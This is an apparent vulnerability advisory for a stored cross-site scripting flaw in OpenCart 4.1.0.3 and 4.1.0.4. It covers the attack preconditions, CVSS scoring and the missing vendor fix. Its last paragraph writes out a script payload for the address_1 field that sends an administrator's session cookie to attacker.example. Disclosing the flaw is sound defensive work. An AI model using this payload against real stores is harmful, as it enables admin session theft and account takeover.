OpenCart EUVD-2026-69799

The attacker must hold a low-privilege authenticated account on the OpenCart store - a customer account obtained via self-registration (the default configuration for most OpenCart storefronts) is sufficient. The victim must passively view the stored address data; this most critically applies to store administrators reviewing customer address records. No special server-side configuration is required beyond running OpenCart 4.1.0.3 or 4.1.0.4 with the address book feature enabled (default). Exploitation is limited by the requirement for at least one registered account (PR:L) and the need for a privileged user to view the injected address (UI:P); automated mass exploitation without a victim viewing the payload is not possible.

The CVSS 4.0 score of 5.1 (Medium) with vector AV:N/AC:L/AT:N/PR:L/UI:P/E:P accurately captures the moderate severity: network-reachable, low complexity, but requires authenticated access and passive victim interaction. The provided vector assigns SC:N/SI:N/SA:N (no subsequent-system impact), which may understate the real-world impact - if an admin views the injected address, their session token could be stolen via a JavaScript payload, escalating effective impact to account takeover of a privileged user. No EPSS score was provided in the input data, and the vulnerability is not listed in CISA KEV, indicating no confirmed active exploitation at time of analysis. However, a working PoC is publicly available on GitHub, lowering the barrier for exploitation. The vendor's non-response to disclosure means no official patch exists, leaving users exposed indefinitely on the affected versions. Real-world risk is moderate but elevated by PoC availability and absence of a vendor fix.

An attacker registers a customer account on a vulnerable OpenCart 4.1.0.3 or 4.1.0.4 store, submits a crafted value such as <script>document.location='https://attacker.example/steal?c='+document.cookie</script> in the address_1 field of the address book form, and the payload is stored in the database. When a store administrator reviews customer address records, the script executes in the admin's browser, transmitting the admin session cookie to the attacker who can then take over the admin account. A documented PoC on GitHub confirms this attack path.